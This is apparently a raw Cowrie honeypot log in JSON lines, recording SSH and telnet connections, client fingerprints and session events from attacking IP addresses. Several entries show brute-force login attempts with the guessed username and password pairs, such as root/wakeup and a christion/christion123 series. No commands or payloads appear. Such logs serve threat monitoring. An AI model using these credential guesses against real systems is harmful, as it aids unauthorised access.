{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:48.574592Z","src_ip":"165.154.5.249","session":"14b45c22e2a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:48.795312Z","src_ip":"165.154.5.249","session":"14b45c22e2a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wakeup","message":"login attempt [root/wakeup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:49.707511Z","src_ip":"165.154.5.249","session":"14b45c22e2a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.07879185676575,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:50.023902Z","src_ip":"192.119.13.58","session":"b286f436a05a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.100.175","src_port":60154,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce9c882befed","protocol":"ssh","message":"New connection: 43.134.100.175:60154 (159.203.135.109:22) [session: ce9c882befed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:50.111940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:50.120613Z","src_ip":"43.134.100.175","session":"ce9c882befed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.36565923690796,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:50.321802Z","src_ip":"192.119.13.58","session":"0b235ba48766","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:50.358472Z","src_ip":"43.134.100.175","session":"ce9c882befed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:50.930938Z","src_ip":"165.154.5.249","session":"14b45c22e2a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"paradox","message":"login attempt [root/paradox] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:51.341181Z","src_ip":"43.134.100.175","session":"ce9c882befed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:52.582879Z","src_ip":"43.134.100.175","session":"ce9c882befed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34962,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a7987a41dd5","protocol":"telnet","message":"New connection: 192.119.13.58:34962 (10.17.0.5:23) [session: 2a7987a41dd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:52.978459Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39770,"dst_ip":"10.17.0.5","dst_port":23,"session":"211daca747f2","protocol":"telnet","message":"New connection: 192.119.13.58:39770 (10.17.0.5:23) [session: 211daca747f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:54.158878Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49754,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7849c1355fc","protocol":"telnet","message":"New connection: 192.119.13.58:49754 (10.17.0.5:23) [session: a7849c1355fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:56.248686Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52048,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b2d508cd04a","protocol":"telnet","message":"New connection: 192.119.13.58:52048 (10.17.0.5:23) [session: 2b2d508cd04a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:57.191736Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59234,"dst_ip":"10.17.0.5","dst_port":23,"session":"39bf9be44e73","protocol":"telnet","message":"New connection: 192.119.13.58:59234 (10.17.0.5:23) [session: 39bf9be44e73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:58.900386Z"}
{"eventid":"cowrie.session.closed","duration":34.83615684509277,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:03.381277Z","src_ip":"192.119.13.58","session":"56693d3aae55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.108230113983154,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:05.339994Z","src_ip":"192.119.13.58","session":"00c624ba4806","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.06738090515137,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:05.652235Z","src_ip":"192.119.13.58","session":"216906dfbdc4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39168,"dst_ip":"10.17.0.5","dst_port":23,"session":"f774438811a4","protocol":"telnet","message":"New connection: 192.119.13.58:39168 (10.17.0.5:23) [session: f774438811a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:07.106034Z"}
{"eventid":"cowrie.session.closed","duration":45.648141860961914,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:10.180841Z","src_ip":"192.119.13.58","session":"07829236fb97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60582,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bc48dd05659","protocol":"telnet","message":"New connection: 192.119.13.58:60582 (10.17.0.5:23) [session: 9bc48dd05659]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:12.808888Z"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.25.130","src_port":40726,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba45b680ab28","protocol":"ssh","message":"New connection: 150.109.25.130:40726 (159.203.135.109:22) [session: ba45b680ab28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:13.674926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:13.680029Z","src_ip":"150.109.25.130","session":"ba45b680ab28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:13.926681Z","src_ip":"150.109.25.130","session":"ba45b680ab28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36602,"dst_ip":"10.17.0.5","dst_port":23,"session":"79ffab2ca0bb","protocol":"telnet","message":"New connection: 192.119.13.58:36602 (10.17.0.5:23) [session: 79ffab2ca0bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:13.967534Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"pa","message":"login attempt [root/pa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:14.939547Z","src_ip":"150.109.25.130","session":"ba45b680ab28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:16.187870Z","src_ip":"150.109.25.130","session":"ba45b680ab28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.121.249","src_port":54410,"dst_ip":"159.203.135.109","dst_port":22,"session":"54acf7f60908","protocol":"ssh","message":"New connection: 43.163.121.249:54410 (159.203.135.109:22) [session: 54acf7f60908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:19.419938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:19.425070Z","src_ip":"43.163.121.249","session":"54acf7f60908","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:19.670938Z","src_ip":"43.163.121.249","session":"54acf7f60908","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2021","message":"login attempt [root/2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:20.697683Z","src_ip":"43.163.121.249","session":"54acf7f60908","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:21.946864Z","src_ip":"43.163.121.249","session":"54acf7f60908","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.019853353500366,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:26.998184Z","src_ip":"192.119.13.58","session":"2a7987a41dd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39746,"dst_ip":"10.17.0.5","dst_port":23,"session":"04a0295bbaa0","protocol":"telnet","message":"New connection: 192.119.13.58:39746 (10.17.0.5:23) [session: 04a0295bbaa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:27.224649Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49926,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc34b79f6324","protocol":"telnet","message":"New connection: 192.119.13.58:49926 (10.17.0.5:23) [session: bc34b79f6324]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:30.150230Z"}
{"eventid":"cowrie.session.closed","duration":44.27621626853943,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:31.422975Z","src_ip":"192.119.13.58","session":"fd5891592fe7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.34778332710266,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:34.506550Z","src_ip":"192.119.13.58","session":"211daca747f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42962,"dst_ip":"10.17.0.5","dst_port":23,"session":"875c7b0bdf97","protocol":"telnet","message":"New connection: 192.119.13.58:42962 (10.17.0.5:23) [session: 875c7b0bdf97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:35.246916Z"}
{"eventid":"cowrie.session.closed","duration":40.35994815826416,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:36.608526Z","src_ip":"192.119.13.58","session":"a7849c1355fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.7941517829895,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:36.694406Z","src_ip":"192.119.13.58","session":"39bf9be44e73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58532,"dst_ip":"10.17.0.5","dst_port":23,"session":"7030cc7c3c80","protocol":"telnet","message":"New connection: 192.119.13.58:58532 (10.17.0.5:23) [session: 7030cc7c3c80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:39.378216Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":41393,"dst_ip":"10.17.0.5","dst_port":22,"session":"5864493b6f8b","protocol":"ssh","message":"New connection: 213.209.159.56:41393 (10.17.0.5:22) [session: 5864493b6f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:41.230651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:41.237248Z","src_ip":"213.209.159.56","session":"5864493b6f8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:41.320966Z","src_ip":"213.209.159.56","session":"5864493b6f8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"christion","password":"christion","message":"login attempt [christion/christion] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:41.724221Z","src_ip":"213.209.159.56","session":"5864493b6f8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46108,"dst_ip":"10.17.0.5","dst_port":23,"session":"ece460f230d6","protocol":"telnet","message":"New connection: 192.119.13.58:46108 (10.17.0.5:23) [session: ece460f230d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:42.377362Z"}
{"eventid":"cowrie.session.closed","duration":66.56825470924377,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:42.769630Z","src_ip":"192.119.13.58","session":"bc689da40ed0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"christion","password":"christion1","message":"login attempt [christion/christion1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:42.809442Z","src_ip":"213.209.159.56","session":"5864493b6f8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"christion","password":"christion123","message":"login attempt [christion/christion123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:43.895216Z","src_ip":"213.209.159.56","session":"5864493b6f8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"christion","password":"christion1234","message":"login attempt [christion/christion1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:44.981035Z","src_ip":"213.209.159.56","session":"5864493b6f8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"christion","password":"christion12345","message":"login attempt [christion/christion12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:46.067512Z","src_ip":"213.209.159.56","session":"5864493b6f8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:47.153108Z","src_ip":"213.209.159.56","session":"5864493b6f8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.126965284347534,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:48.318571Z","src_ip":"192.119.13.58","session":"2b2d508cd04a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51218,"dst_ip":"10.17.0.5","dst_port":23,"session":"75f66aeb3d90","protocol":"telnet","message":"New connection: 192.119.13.58:51218 (10.17.0.5:23) [session: 75f66aeb3d90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:51.191108Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33150,"dst_ip":"10.17.0.5","dst_port":23,"session":"18cb0103616a","protocol":"telnet","message":"New connection: 192.119.13.58:33150 (10.17.0.5:23) [session: 18cb0103616a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:53.681772Z"}
{"eventid":"cowrie.session.closed","duration":48.1480655670166,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:55.254125Z","src_ip":"192.119.13.58","session":"f774438811a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55950,"dst_ip":"10.17.0.5","dst_port":23,"session":"84406c3ea5aa","protocol":"telnet","message":"New connection: 192.119.13.58:55950 (10.17.0.5:23) [session: 84406c3ea5aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:59.107202Z"}
{"eventid":"cowrie.session.closed","duration":46.71255373954773,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:43:59.521307Z","src_ip":"192.119.13.58","session":"9bc48dd05659","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.411041736602783,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:01.561122Z","src_ip":"192.119.13.58","session":"bc34b79f6324","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.222.198","src_port":41616,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3887e95432c","protocol":"ssh","message":"New connection: 69.6.222.198:41616 (159.203.135.109:22) [session: b3887e95432c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:02.486907Z"}
